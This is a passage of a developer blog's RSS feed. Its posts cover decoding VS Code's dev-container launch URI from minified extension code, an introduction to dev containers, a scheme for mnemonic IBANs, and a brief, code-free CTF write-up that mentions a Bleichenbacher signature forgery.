behind the scenes. You couldn't be more wrong!</p><p>Before explaining how this actually works, I want to let you know that it will get a lot weirder when we try to add support for a new dev container feature later.</p><h1 id="heading-how-everyone-does-it">How everyone does it</h1><p>This is not a problem that hasn't been solved before. Lots of people want to start their dev containers right from the CLI, without navigating menus in vscode. So if you look through various bash scripts and some issues on GitHub, you will find that most people solve this by executing the following command:</p><pre><code class="lang-bash">code --folder-uri vscode-remote://dev-container+&lt;some_weird_hex_string&gt;&lt;a_path&gt;</code></pre><p>Which then could look like this:</p><pre><code class="lang-bash">code --folder-uri <span class="hljs-string">"vscode-remote://dev-container+5c5c77736c2e6c6f63616c686f73745c417263685c686f6d655c6d696368695c6465765c7673636c69/workspaces/vscli</span></code></pre><p>The last part (<code>/workspaces/vscli</code> in this case) is the path we want vscode to open inside the container. It is <code>/workspaces/project_folder_name</code> by default, but it can be overwritten inside the dev container configuration file.</p><p>The hex value is the path on the host, encoded in hex. Decoded could look like this (when the dev container was launched from <a target="_blank" href="https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux">WSL</a>):</p><pre><code class="lang-bash">\\wsl.localhost\Arch\home\michi\dev\vscli</code></pre><p>Note: We used <a target="_blank" href="https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux">WSL</a> here, so most paths will be WSL paths. However, it works quite similarly on Windows.</p><h2 id="heading-how-did-we-figure-that-out">How did we figure that out?</h2><p>Well, I got the hint from <a target="_blank" href="https://github.com/devcontainers/cli/issues/30">this GitHub issue</a>. Also, it seems like at one time a <code>devcontainer open</code> command existed in <a target="_blank" href="https://www.npmjs.com/package/@vscode/dev-container-cli">the old dev container CLI</a> (it does not exist anymore since the CLI wants to be editor-agnostic).</p><p>There is also another version of the dev container CLI, which is included in the proprietary vscode dev container extension. This version actually includes the <code>devcontainer open</code> utility, but we only have access to the minified JavaScript code.</p><p>So if this problem is already solved, why implement our own CLI tool? Well, there are multiple reasons: closed-source, sending telemetry by default, and cannot be installed with a proper packet manager.</p><h1 id="heading-but-we-want-multiple-containers">But we want multiple containers</h1><p><a target="_blank" href="https://github.com/michidk/vscli/issues/24">It was brought to my attention</a>, that the dev containers spec/vscode released <a target="_blank" href="https://github.com/microsoft/vscode-docs/blob/main/remote-release-notes/v1_75.md#folders-with-multiple-devcontainerjson-files">a new feature</a>, which would allow having multiple dev container definitions inside one project (by creating multiple configuration files in different places). I needed to try it out immediately, and actually found several use cases in my projects - so vscli needs to support it as well!</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698735721444/28e2579f-d12f-47cd-8faa-691392865e34.png" alt class="image--center mx-auto" /></p><p>But how would I tell vscode which container to open? Using the strategy mentioned earlier, there is no way to point to some specific config. I did some research, and I haven't found a single codebase or shell script containing code to open dev containers in any other way than the command above. So nobody either managed or cared enough to figure this out. Is it even possible? Well, it has to, since vscode does it too!</p><h2 id="heading-down-the-rabbit-hole">Down the rabbit hole...</h2><p>So I sat down together with <a target="_blank" href="https://github.com/Shemnei/">my buddy</a> and did a late-night investigation. Here is how it went (spoiler: we actually figured it out in the end).</p><p>First, we had a look at the closed-source version of dev container CLI again, maybe it supports this? Turns out it does!</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698736883701/e6ee70d1-3bb2-44b8-8eea-ce65f003543c.png" alt class="image--center mx-auto" /></p><p>So we downloaded the source code of the dev container extension from the official marketplace: <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers">https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers</a>. This gives us the <code>ms-vscode-remote.remote-containers-0.320.0.vsix</code> file. Since <code>.vsix</code> is basically just a <code>.zip</code> file, after extracting it we could explore the extension.</p><p>Luckily they not only included the compiled binary but also the Node JavaScript "source code": <code>extension/dev-containers-user-cli/dist/node/devContainersUserCLI.js</code>. However, it's not real source code, since the source application is probably written in TypeScript, and what we get to see is the minified, transpiled JavaScript:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698737361459/ed7ae27f-9515-42a4-9e65-18b363e90304.png" alt class="image--center mx-auto" /></p><p>This code is optimized for minimal size, so most of the functions and variable names are renamed to one-letter names and everything is put into one line without spaces.</p><h2 id="heading-making-sense-of-the-code">Making sense of the code</h2><p>Since this code is unreadable, it is very hard to get the control flow. We started by searching for strings we know, like <code>vscode-remote://dev-container</code>. And we had a match! The extracted and formatted function which uses this string looks like this:</p><pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Z$</span>(<span class="hljs-params">t, e, n, r, i, o</span>) </span>{  t = moe(t);  <span class="hljs-keyword">let</span> s =    r || o      ? <span class="hljs-built_in">JSON</span>.stringify({          <span class="hljs-attr">hostPath</span>: e,          <span class="hljs-attr">localDocker</span>: i,          <span class="hljs-attr">settings</span>: r,          <span class="hljs-attr">configFile</span>: o,        })      : e;  <span class="hljs-keyword">return</span> <span class="hljs-string">`vscode-remote://dev-container+<span class="hljs-subst">${Buffer.<span class="hljs-keyword">from</span>(s, <span class="hljs-string">"utf8"</span>).toString(    <span class="hljs-string">"hex"</span>  )}</span><span class="hljs-subst">${t ? <span class="hljs-string">`@<span class="hljs-subst">${t}</span>`</span> : <span class="hljs-string">""</span>}</span><span class="hljs-subst">${n}</span>`</span>;}</code></pre><p>We can see that whatever is put behind the <code>+</code> (variable <code>s</code>) is converted into hex, as we already know. <code>n</code> is the workspace path and the final part of the URI. <code>t</code> is an optional parameter I am not quite sure of. But if we look into how <code>s</code> (the hex-encoded part) is defined, we can see that it is either <code>e</code> or some JSON string depending on how <code>r || o</code> evaluated.</p><p>So this seems to be the solution to the problem! It is possible to pass in more data than just the project path! We don't really care for <code>r</code> and <code>o</code> at this point, but if we look into how the JSON string is constructed, we can even read what they are: <code>r</code> seems to be some additional <code>settings</code> and <code>o</code> the <code>configFile</code>? <code>e</code> is the <code>hostPath</code>, which is also used when we don't use the JSON string. So this is the path to the project we also used in the old approach. <code>i</code> which is put into the <code>localDocker</code> field is probably some boolean that describes whether to use a local or remote Docker host.</p><h2 id="heading-did-we-solve-it">Did we solve it?</h2><p>The <code>configFile</code> parameter is probably the file path of the dev container config file we are trying to load. So let's build up the following JSON and try to open vscode:</p><pre><code class="lang-json">{    <span class="hljs-attr">"hostPath"</span>: <span class="hljs-string">"\\wsl.localhost\Arch\home\michi\dev\vscli"</span>,    <span class="hljs-attr">"configFile"</span>: <span class="hljs-string">"\\wsl.localhost\Arch\home\michi\dev\vscli\.devcontainer\testContainer.json"</span>}</code></pre><p>Which opens vscode, but it will complain with the following error: <code>\[UriError\]: Scheme contains illegal character</code>.</p><p>We tested a few options to debug this:</p><ul><li><p>Only using <code>hostPath</code> without <code>configFile</code>: works (but we cannot choose a dev container config)</p></li><li><p>Directly putting the dev container config file contents into <code>configFile</code>: <code>UriError</code></p></li><li><p>Using Windows style file paths: <code>UriError</code></p></li></ul><p>So <code>configFile</code> expects some special URI format? It's time to look into the code a bit more: <code>Z$</code> is called only once:</p><pre><code class="lang-javascript">  <span class="hljs-keyword">let</span> q = Z$(      <span class="hljs-keyword">void</span> <span class="hljs-number">0</span>,      p,      w.workspaceFolder,      <span class="hljs-keyword">void</span> <span class="hljs-number">0</span>,      <span class="hljs-keyword">void</span> <span class="hljs-number">0</span>,      e ? qn.file(Ze.resolve(process.cwd(), e)) : <span class="hljs-keyword">void</span> <span class="hljs-number">0</span>    ),</code></pre><p>Most parameters are <code>void 0</code>, which is the shorter equivalent of <code>undefined</code>. This shows that <code>r</code>, <code>i</code> and <code>t</code> of <code>Z$</code> are actually not used (probably for legacy reasons), so we always use the JSON format nowadays. We also learn how the input to the <code>hostPath</code> is constructed: <code>qn.file(Ze.resolve(process.cwd(), e))</code>.</p><p>At first look, it looks like it combines the path of the current folder (<code>process.cwd()</code>) and the relative path to the dev container config file and then passes it into a function that builds the file representation that the URI expects. After some investigation and finally ended up with this code:</p><pre><code class="lang-javascript"><span class="hljs-keyword">var</span> LP = ae(<span class="hljs-built_in">require</span>(<span class="hljs-string">"os"</span>)), Ze = ae(<span class="hljs-built_in">require</span>(<span class="hljs-string">"path"</span>));</code></pre><p>We concluded that <code>Ze.resolve()</code> is part of the <a target="_blank" href="https://nodejs.org/api/path.html#pathresolvepaths">node.js path</a> library and indeed combines path segments.</p><h2 id="heading-the-last-mystery-file">The last mystery: <code>.file()</code></h2><p>This one was difficult. We really could not make sense of this method, since it was part of a bigger library:</p><pre><code class="lang-javascript"><span class="hljs-keyword">var</span> { <span class="hljs-attr">URI</span>: qn, <span class="hljs-attr">Utils</span>: awe } = AF;<span class="hljs-comment">// and then somewhere else in the code</span><span class="hljs-comment">// ...</span>        (D.extname = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">A</span>) </span>{          <span class="hljs-keyword">return</span> F.extname(A.path);        });    })(R || (R = {}));  })(),    (AF = r);})();</code></pre><p>Luckily, somewhere in this library, we found an error message: <code>The "pathObject" argument must be of type Object. Received type ...</code>. I was never as excited before to find an error message. But this is something we can Google and maybe find out which library it is!</p><p>And it worked! We found a <a target="_blank" href="https://github.com/microsoft/vscode/issues/93220">GitHub issue</a> in the vscode GitHub repo, which referenced the <a target="_blank" href="https://github.com/microsoft/vscode/blob/main/src/vs/base/common/uri.ts">exact file it is implemented in</a>. Turns out this is the internal URI library of vscode!</p><p>The code is still quite complex, but there was an easier way anyways. I just opened up the developer tools in vscode and called the <code>.file()</code> function directly, passing in the path to my dev container config:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699098397246/9d5f2ecc-045a-4483-9465-a650f3a10967.png" alt class="image--center mx-auto" /></p><p>So the <code>.file()</code> method returns an object that is directly serialized into JSON. The <code>UriError</code> message from before probably hinted at the <code>"scheme":"file",</code> property missing. This does not look like a proper URI interface and is probably an accident, where the developers forgot to properly serialize the path - but hey, we figured it out!</p><p>So now we can use the following JSON to open our dev containers with multiple config files:</p><pre><code class="lang-json">{  <span class="hljs-attr">"hostPath"</span>: <span class="hljs-string">"\\wsl.localhost\Arch\home\michi\dev\vscli"</span>,  <span class="hljs-attr">"configFile"</span>: {    <span class="hljs-attr">"$mid"</span>: <span class="hljs-number">1</span>, <span class="hljs-comment">// optional</span>    <span class="hljs-attr">"path"</span>: <span class="hljs-string">"/Arch/home/michi/temp/multi/.devcontainer.json"</span>,    <span class="hljs-attr">"scheme"</span>: <span class="hljs-string">"file"</span>,    <span class="hljs-attr">"authority"</span>: <span class="hljs-string">"wsl.localhost"</span>  }}</code></pre><p>There is still some work to do with getting the paths in the proper format and to make this work on Windows, but this should get you started if you want to implement this yourself. Check out the implementation of this in vscli here: <a target="_blank" href="https://github.com/michidk/vscli/blob/main/src/uri.rs">https://github.com/michidk/vscli/blob/main/src/uri.rs</a></p><p>Now, if you try to open a project with more than one dev container using vscli, the following dialog will appear:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699987337463/3ecaeb66-fa96-4a99-9168-d67fd25da1d1.png" alt class="image--center mx-auto" /></p><p>Want to use vscli yourself? Check it out on GitHub: <a target="_blank" href="https://github.com/michidk/vscli">https://github.com/michidk/vscli</a></p>]]></description><link>https://blog.lohr.dev/launching-dev-containers</link><guid isPermaLink="true">https://blog.lohr.dev/launching-dev-containers</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Wed, 15 Nov 2023 12:00:15 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/z1c9juteR5c/upload/956243232a66a8682677d047630cbe00.jpeg</cover_image></item><item><title><![CDATA[Dev Containers: Open, Develop, Repeat...]]></title><description><![CDATA[<p>Dev containers allow you to open up projects and have them running in a fully pre-configured environment with one click!</p><p>It is especially useful if you want to keep your system clean of different SDKs with different (<em>conflicting</em>) Versions (looking at you Python 👀) or work on many different projects, which require different setups. It is also helpful to provide a dev container for other people to start working on your projects because they get up and running within seconds!</p><p>I have used them for more than two years and it made my developer workflow so much easier. I nowadays use them in every project - work and private!</p><h2 id="heading-intro">Intro</h2><p>How it works? <a target="_blank" href="https://containers.dev/">Dev containers</a> is a specification based on <a target="_blank" href="https://www.docker.com/">Docker</a>. This specification describes a <a target="_blank" href="https://containers.dev/implementors/json_reference/">metadata file</a> (<code>devcontainer.json</code>), which defines how the project (Docker container, IDE settings, plugins, etc) is set up.</p><p>It can look as simple as:</p><pre><code class="lang-json">{    <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Rust"</span>,    <span class="hljs-attr">"image"</span>: <span class="hljs-string">"mcr.microsoft.com/devcontainers/rust:1-bullseye"</span>,}</code></pre><p>Or get more complex like, this configuration which is based on a local Dockerfile, installs "dev container features" (will be explained later), configures some extensions, and my terminal:</p><pre><code class="lang-json">{    <span class="hljs-attr">"name"</span>: <span class="hljs-string">"My Rust IDE"</span>,    <span class="hljs-attr">"build"</span>: { <span class="hljs-attr">"dockerfile"</span>: <span class="hljs-string">"Dockerfile"</span> },    <span class="hljs-attr">"features"</span>: {        <span class="hljs-attr">"ghcr.io/guiyomh/features/just:0"</span>: {}    },    <span class="hljs-attr">"customizations"</span>: {        <span class="hljs-attr">"vscode"</span>: {            <span class="hljs-attr">"extensions"</span>: [                <span class="hljs-string">"rust-lang.rust-analyzer"</span>,                <span class="hljs-string">"tamasfe.even-better-toml"</span>,                <span class="hljs-string">"serayuzgur.crates"</span>,                <span class="hljs-string">"kokakiwi.vscode-just"</span>            ],            <span class="hljs-attr">"settings"</span>: {                <span class="hljs-attr">"terminal.integrated.defaultProfile"</span>: <span class="hljs-string">"zsh"</span>            }        }    }}</code></pre><p>As you can see from the <code>customizations</code> section, dev containers are IDE agnostic. For example, there is a project implementing <a target="_blank" href="https://github.com/esensar/nvim-dev-container">dev container support into nvim</a>. But since the <a target="_blank" href="https://code.visualstudio.com/">Visual Studio Code</a> (vscode) team at Microsoft invented dev containers, it is currently the IDE with the best dev container experience.</p><p>A dev container can be bootstraped by using the vscode UI or creating the configuration file by hand. There are a bunch of pre-made dev container configurations maintained by the vscode team and community ready to be used:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698650934760/eccbb7cb-bd01-4778-a488-279a6d555927.png" alt class="image--center mx-auto" /></p><p>This video is a good resource on how to learn the basics of dev containers and how to use them in vscode:</p><div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=b1RavPr_878">https://www.youtube.com/watch?v=b1RavPr_878</a></div><p> </p><h2 id="heading-dev-container-features">Dev Container Features</h2><p>dev containers not only allow you to define which extensions should be installed and which configuration settings shall be set, but they also have something they call <a target="_blank" href="https://github.com/devcontainers/features">"dev container features"</a>.</p><p>They are reusable modules that contain installation scripts and dev container configurations. This means allows you to configure your development environment even quicker (and install them using a vscode UI).</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698652313446/fb39f2e0-ba06-4a48-b8b6-168177c3d8f4.png" alt class="image--center mx-auto" /></p><p>In my example above, I installed the developer tool "<a target="_blank" href="https://github.com/casey/just">Just</a>" as a dev container feature. I could also install it by adding the install script to my Dockerfile. However, I would have to build my own Dockerfile and would have to maintain this piece of code myself. This dev container Feature works on different architectures and base images, which makes them convenient to use.</p><p>A list of available dev container features, can be found <a target="_blank" href="https://containers.dev/features">here</a>. However, you can also develop your own features and publish them, <a target="_blank" href="https://github.com/michidk/devcontainers-features/">like I did</a>.</p><h1 id="heading-opening-dev-containers-from-the-cli">Opening dev containers From the CLI</h1><p>So you can use dev containers from the vscode user interface rather intuitively. All configurations can also be edited directly and there is even a <a target="_blank" href="https://github.com/devcontainers/cli">CLI</a>. However, this CLI is made editor agnostic, so there is no vscode integration.</p><p>What I have been always missing was just a simple command to open up a dev container in my current directory, inside vscode. Turns out it is not that easy!</p><p>Now, there is a proprietary dev container CLI version included in vscode (which can be only installed by adding <code>C:\Users\&lt;USER&gt;\AppData\Roaming\Code\User\globalStorage\ms-vscode-remote.remote-containers\cli-bin</code> to the <code>PATH</code>), that offers a <code>devcontainer open</code> command. I am not sure if there is a version for Linux as well. But what I am sure of, is that it sends some kind of telemetry data to Microsoft by default.</p><p>I was not happy with this solution, so I built <a target="_blank" href="https://github.com/michidk/vscli">vscli</a>, a vscode CLI tool to launch projects and support dev containers. It works on most platforms and is written in Rust. It includes a simple terminal UI, which allows you to quick-launch your recently opened projects:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698652742060/7c4d3654-d45a-4599-acbd-86c8e59e1345.png" alt class="image--center mx-auto" /></p><p>Check it out here: <a target="_blank" href="https://github.com/michidk/vscli">https://github.com/michidk/vscli</a></p><h2 id="heading-github-codespaces">GitHub Codespaces</h2><p>dev containers also power <a target="_blank" href="https://github.com/features/codespaces">GitHub Codespaces</a>, which allows you to have the same dev container experience in the Browser running in the Cloud!</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698652292169/89b7c583-3d9a-45d3-b37d-7e4d3a62487a.png" alt class="image--center mx-auto" /></p><p>It is a bit like <code>github.dev</code> (you can replace the <code>.com</code> with a <code>.dev</code> or just press <code>.</code> on any GitHub repo and you will get the project editable in a vscode web version), but with all the extensions and dev container running on a machine in the Cloud.</p><h2 id="heading-closing-thoughts">Closing Thoughts</h2><p>I recommend you to check out dev containers, it made my life so much easier. At this stage, they are also pretty mature and supported by a large community.</p><p>I even know some VIM people, using vscode from time to time just because of dev containers 😉</p>]]></description><link>https://blog.lohr.dev/dev-containers</link><guid isPermaLink="true">https://blog.lohr.dev/dev-containers</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Mon, 30 Oct 2023 08:06:08 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/bukjsECgmeU/upload/5187fb32eb1c41d4c0fa38516e3eb1da.jpeg</cover_image></item><item><title><![CDATA[Making IBANs more memorable]]></title><description><![CDATA[<p>Or: "How I fixed IBANs with Bitcoin". This article is supposed to walk you through the journey I had while exploring an idea I had in mind for making IBANs more memorable.</p><p>The IBAN (International Bank Account Number) is a standardized international numbering system for bank accounts. It's used across countries to send money securely from one bank account to another.</p><p>In Germany, an IBAN might look like this: <em>DE67834783927384738238</em>. Now if you lend someone money for lunch (because they didn't have cash on them) and want it back, you would send them your IBAN. Now you have three options:</p><ul><li><p>Log in (and authenticate) to your banking app and copy &amp; paste the IBAN</p></li><li><p>Copy it out from your notes app, where you wrote it down before</p></li><li><p>Take out your banking card and copy the IBAN number that is printed on it</p></li><li><p>You both have PayPal, and you just share your email</p></li><li><p>You are a maniac and know your IBAN by heart</p></li></ul><p>All those options are a bit annoying and dependent on how often you find yourself in such a scenario, you might get pissed off about how unmemorable IBANs are. I am pissed off about how unmemorable IBANs are (in case you wondered).</p><h1 id="heading-inspiration">Inspiration</h1><p>You might have heard of BIP-0039. No, you probably didn't, but you might have seen something like this:</p><pre><code class="lang-plaintext">canyon situate farm wedding cluster budget truck bag gooseobtain surround soda cable galaxy spoil utility tip rememberscan danger cat lawsuit staff riot</code></pre><p>This is a Bitcoin wallet seed encoded in the so-called <em>mnemonic code</em>, which was proposed in <a target="_blank" href="https://en.bitcoin.it/wiki/BIP_0039">BIP-0039</a>. It is easier to remember, verbally communicate and write down than binary or hexadecimal data. This would be really handy to have for IBANs as well!</p><blockquote><p>I want my IBAN to be a 'simple cluster truck wedding bag goose soda galaxy'</p></blockquote><p>The Bitcoin implementation comes with a few Bitcoin-specific add-ons, which we don't need. So we could just follow the implementation by <a target="_blank" href="https://web.archive.org/web/20100105040244/http://tothink.com/mnemonic/index.html">Oren Tirosh</a>, which everybody seems to reference when talking about mnemonic code.</p><h1 id="heading-the-theory">The Theory</h1><p>The Mnemonic encoding by Oren works by taking a segment of bytes and calculating an index that maps to a word of a wordlist. This is not just one random wordlist extracted from a dictionary. The words are carefully selected by adhering to a set of criteria (which is heavily discussed on the internet), as seen <a target="_blank" href="https://gist.github.com/fogleman/c4a1f69f34c7e8a00da8">here</a>. So we just have to import some library and convert an IBAN into a bunch of bytes?</p><p>Well, first, we have to discuss how we actually convert an IBAN to bytes. We want to use as few bytes as possible since each extra byte will result in additional words, which one must remember.</p><h2 id="heading-how-ibans-work">How IBANs work</h2><p>But in order to be able to properly encode IBANs into bytes, we first have to understand what they are and how they work.</p><p>IBANs are defined in the ISO 13616-1 standard, which is actually quite readable (which I am not used to when reading standards). It defines that an IBAN consists of the following elements:</p><ol><li><p>Two-letter country code, aka "alpha-2 code", according to ISO 3166-1</p></li><li><p>A checksum consisting of two numbers</p></li><li><p>Up to 30 characters and numbers called the "BBAN"</p></li></ol><p>The BBAN has to have a fixed size per country code and also encode a bank identifier whose position and length are also fixed per country code. The following image from a PMPG whitepaper visualizes it quite well (<a target="_blank" href="https://www.swift.com/sites/default/files/documents/swift_pmpg_whitepaper_ibanincommercialpayments.pdf">source</a>):</p><p><a target="_blank" href="https://www.swift.com/sites/default/files/documents/swift_pmpg_whitepaper_ibanincommercialpayments.pdf"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698649112482/525355c2-3fd1-4e62-80b1-571218858c3e.png" alt="IBAN structure visualized" class="image--center mx-auto" /></a></p><p>This means that each country has its own "sub-standard" for IBANs (or BBANs, to be specific).</p><p><img src="https://media3.giphy.com/media/v1.Y2lkPTc5MGI3NjExbmY4ZmExbzFwbTczczVuNTRyMjk0bDJzcHAyZjc5bTd3endxNXEzZyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/ToMjGpIYtgvMP38WTFC/giphy.gif" alt class="image--center mx-auto" /></p><p>The country code is often indexed by a numeric code that is bigger than 255, meaning it would not fit in one byte. But if you look at <a target="_blank" href="https://en.wikipedia.org/wiki/List_of_ISO_3166_country_codes#Current_ISO_3166_country_codes">the actual country code list</a>, there are just 249 entries. This means by simply numbering them from 0 to 248, we can store that index in just one byte.</p><p>In theory, we could remove the checksum from the mnemonic code and <a target="_blank" href="https://en.wikipedia.org/wiki/International_Bank_Account_Number#Generating_IBAN_check_digits">recalculate it</a> when parsing the code, which would remove one byte. Since mixing up a word is more unlikely than mixing up a number, this could be a valid consideration. However, I think mixing up the order of words is still pretty likely, so some kind of verification check is still necessary.</p><p>Encoding the BAN is the difficult part: Each country has its own BBAN standard, as seen on <a target="_blank" href="https://en.wikipedia.org/wiki/International_Bank_Account_Number#IBAN_formats_by_country">Wikipedia</a>. It would be nice to have a way to support arbitrary IBAN numbers and convert them to bytes in the most space-efficient way. For this, one probably has to incorporate the country-specific BBAN specification to parse characters and numbers in the correct places (numbers need way fewer bytes than characters).</p><p>For German IBANs, it's quite easy: After the checksum, there are 18 numeric characters left to parse. The first 8 are the bank identifier, and the following 10 are the account number. These 18 numbers characters can be interpreted as a 7-byte integer. No ASCII characters, which would increase the byte representation in size. Together with the country code, we arrive at 8 bytes in total.</p><p>For comparison, here are some other countries with their IBAN format and required bytes:</p><div class="hn-table"><table><thead><tr><td>Country</td><td>IBAN Length</td><td>Format (excluding country code and check digits)</td><td>Bytes</td></tr></thead><tbody><tr><td>Germany</td><td>22</td><td>8 numeric (BLZ), 10 numeric (Account No.)</td><td>8</td></tr><tr><td>France</td><td>27</td><td>5 numeric, 5 numeric, 11 numeric, 2 numeric</td><td>11</td></tr><tr><td>United Kingdom</td><td>22</td><td>4 alphanumeric (Sort Code), 6 numeric, 8 numeric</td><td>11</td></tr><tr><td>Spain</td><td>24</td><td>4 numeric, 4 numeric, 10 numeric, 2 numeric</td><td>10</td></tr><tr><td>Italy</td><td>27</td><td>1 alphanumeric, 5 numeric, 5 numeric, 12 numeric</td><td>12</td></tr><tr><td>Netherlands</td><td>18</td><td>4 alphanumeric, 10 numeric</td><td>8</td></tr><tr><td>Belgium</td><td>16</td><td>3 numeric, 7 numeric, 2 numeric</td><td>6</td></tr></tbody></table></div><h1 id="heading-implementation">Implementation</h1><p>Most programming languages have libraries that already implement Oren's mnemonic encoder/decoder (e.g., <a target="_blank" href="https://pypi.org/project/mnemonic/">Python</a> or <a target="_blank" href="https://pypi.org/project/mnemonic/">Rust</a>).</p><p>So to implement the conversion from some IBAN string to mnemonic code, we would follow these steps:</p><ol><li><p>Split the country code of the IBAN, so that checksum and BBAN remain</p></li><li><p>Calculate the index of the country code and convert it to a byte</p></li><li><p>Parse the checksum and BBAN as some big integer and convert it into bytes</p></li><li><p>Put the country code byte and other bytes together and feed them into the mnemonic encoding library</p></li></ol><p>To implement parsing the mnemonic code into an IBAN, we would just reverse the steps. If we discarded the checksum while encoding, we would have to <a target="_blank" href="https://en.wikipedia.org/wiki/International_Bank_Account_Number#Generating_IBAN_check_digits">recalculate it</a> again. I also recommend verifying the IBAN using <a target="_blank" href="https://en.wikipedia.org/wiki/International_Bank_Account_Number#Validating_the_IBAN">its built-in checksum mechanism</a>.</p><p>Now we can encode and decode IBANs:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698649363401/dd3fce42-6364-4575-98aa-f6be78045f7e.png" alt class="image--center mx-auto" /></p><p>I would love to provide the source code of my implementation, but I would have to clean it up first. If you did a proper implementation of this, let me know!</p><h1 id="heading-further-considerations">Further Considerations</h1><p>This is a list of "add-ons" to this idea, which I might extend in the future.</p><p>By discarding the IBAN checksum and implementing a custom <a target="_blank" href="https://en.wikipedia.org/wiki/Cyclic_redundancy_check">crc-based checksum</a>, one could reduce the storage footprint of the checksum.</p><p>It would also be possible to separately encode the checksum in an extra word which is appended to the end. Then the "checksum word" would be optional, and the user could decide whether he wants to remember this additional word.</p><h1 id="heading-conclusion">Conclusion</h1><p>This was a fun experiment that allowed me to dive deeper into topics that always interested me but never had a use case for. Maybe this idea is actually helpful - if you think so, let me know. I might write a simple web service that allows for an easy conversion. The problem with these things is that they are useless until not everybody (or some big banks) is adapting this. It would be really awesome if, in the future, I could just enter some words into my banking app to send my money to someone. However, there are probably also some security considerations I haven't thought of.</p>]]></description><link>https://blog.lohr.dev/making-ibans-more-memorable</link><guid isPermaLink="true">https://blog.lohr.dev/making-ibans-more-memorable</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sun, 18 Jun 2023 16:09:40 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Q59HmzK38eQ/upload/15166a36850fe2f3b69b530e82516cd6.jpeg</cover_image></item><item><title><![CDATA[Hacking Google CTF - Episode 5]]></title><description><![CDATA[<p>This is a write-up about how I solved the sixth episode of the <a target="_blank" href="https://h4ck1ng.google/">H4CK1NG GOOGL3</a> security CTF. If you didn't read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">my post about the first episode</a>, I highly recommend you to check it out since it introduces the concept of a CTF.</p><p>It took me quite a while to write those write-ups (especially this one - the last one), so I kept it rather short this time. The more exciting challenges were the first couple ones, anyways.</p><h1 id="heading-challenge-01-small-toys">Challenge 01: Small Toys</h1><blockquote><p>Hints:</p><ul><li>One of the researchers really liked small toys.</li></ul></blockquote><p>The first challenge came with a binary file containing data that I could not really make sense of:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675527210432/7fdc7123-c931-4a6f-894f-56d8f67ab83c.png" alt class="image--center mx-auto" /></p><p>Someone hinted to me that in the video that is provided with each challenge, one of the researchers really liked small digital toys. So it became clear that this has to be some kind of graphical data for some old black and white display. Maybe there were talking about <a target="_blank" href="https://en.wikipedia.org/wiki/Tamagotchi">Tamagotchis</a>?</p><p>It took me quite a while to figure out the image format. Turns out it's an animation sheet with multiple smaller pictures that use some weird padding. Also, it actually contains greyscale color information, so not only black &amp; white.</p><p>So I wrote a Python script to parse this weird format and convert it into jpg files. One of the resulting images looked like this:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675527544382/c6928964-aa3f-404d-b27f-8d88f07c6a6e.png" alt class="image--center mx-auto" /></p><p>Putting all images in a line reveals some text containing the flag.</p><h1 id="heading-challenge-02-bleichenbacher">Challenge 02: Bleichenbacher</h1><blockquote><p>Hints:</p><ul><li>Have you heard of Bleichenbacher?</li></ul></blockquote><p>This was definitely the hardest (and most annoying) challenge, and that took me the most time.</p><p>The challenge presented you with a game (including it's source code) where you try to hit buttons at the right time to kill the bugs in your way - at least that's what I think it is about, never really played it for longer than a couple of seconds.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675527757402/0af170a5-a475-4b17-bccb-629bc8b323a7.png" alt class="image--center mx-auto" /></p><p>From the source code, it became apparent that the flag will be revealed once the player achieves an integer overflow (for example, by successfully submitting a score of -1). The source code of the game itself wasn't too interesting, other than the fact that they implemented their own cryptography library to work with signatures, which sign the high score and send it to the scoreboard API (which is written in Python).</p><p>The crypto library had some issues that would allow for forging the signature using the so-called <a target="_blank" href="https://words.filippo.io/bleichenbacher-06-signature-forgery-in-python-rsa/">Bleichenbacher 06</a> attack. This is quite complicated, and I don't want to go too deep into this topic. However, it was not the standard vulnerability and worked a bit differently. Basically, one had to pass multiple checks by exploiting the padding and putting garbage into some parts of the signature.</p><h1 id="heading-challenge-03-morse-code">Challenge 03: Morse Code</h1><blockquote><p>Hints:</p><ul><li>There is morse code hidden somewhere</li></ul></blockquote><p>The third challenge was a bit different than the previous ones since it required you to go back to all the videos that came with each challenge and piece together a secret message.</p><p>Each video contained some morse code, which was audible but really hard to write down. So I did a spectral analysis of each part where I heard some beeping, and there the long and short beeps were more obvious:</p><p><img src="https://cdn.discordapp.com/attachments/249515016640790530/1028393732778766456/unknown.png" alt /></p><p>However, the message that came out contained a flag that did not work. They later announced at the event Discord that there was a mistake and provided the correct part.</p><h1 id="heading-conclusion">Conclusion</h1><p>The first challenge was quite fun, though I did not enjoy the others as much. However, all in all, a really fun (but quite a time 